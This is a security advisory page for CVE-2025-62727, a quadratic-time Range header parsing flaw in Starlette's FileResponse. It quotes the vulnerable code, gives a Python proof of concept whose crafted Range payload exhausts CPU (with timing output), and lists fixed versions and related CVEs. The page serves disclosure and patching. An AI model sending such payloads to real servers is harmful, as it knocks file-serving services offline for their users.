CVE-2025-62727: Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``
Summary An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Published Oct 28, 2025 · Updated Nov 4, 2025
Affected packages
starlette
- Ecosystem
- PyPI
- Affected
- >= 0.39.0, <= 0.49.0
- Fixed in
- 0.49.1
- Check
pip show starlette
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in `FileResponse._parse_range_header()`, then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of `FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range` header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
- `
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178` - Direct `
starlette.responses.FileResponse` responses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
Credited to ch4n3-yoon, nadavaseal.
References
- https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8
- https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5
- https://github.com/Kludex/starlette/releases/tag/0.49.1
- https://nvd.nist.gov/vuln/detail/CVE-2025-62727
- https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c
- https://github.com/advisories/GHSA-7f5h-v6xp-fcq8
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-48817
Starlette: Arbitrary HTTP method dispatched to `HTTPEndpoint` attributes via `getattr`
medium5.3Jun 15, 2026CVE-2026-48818
Starlette: SSRF and NTLM credential theft via UNC paths in StaticFiles on Windows
high7.5Jun 15, 2026CVE-2026-54283
Starlette: request.form() limits silently ignored for application/x-www-form-urlencoded enable DoS
high7.5Jun 15, 2026CVE-2026-48710
Starlette has missing Host header validation that poisons request.url.path, bypassing path-based security checks
medium6.5ExploitedJun 4, 2026CVE-2025-54121
Starlette has possible denial-of-service vector when parsing large files in multipart forms
medium5.3Jul 21, 2025CVE-2024-47874
Starlette Denial of service (DoS) via multipart/form-data
high8.7Oct 15, 2024
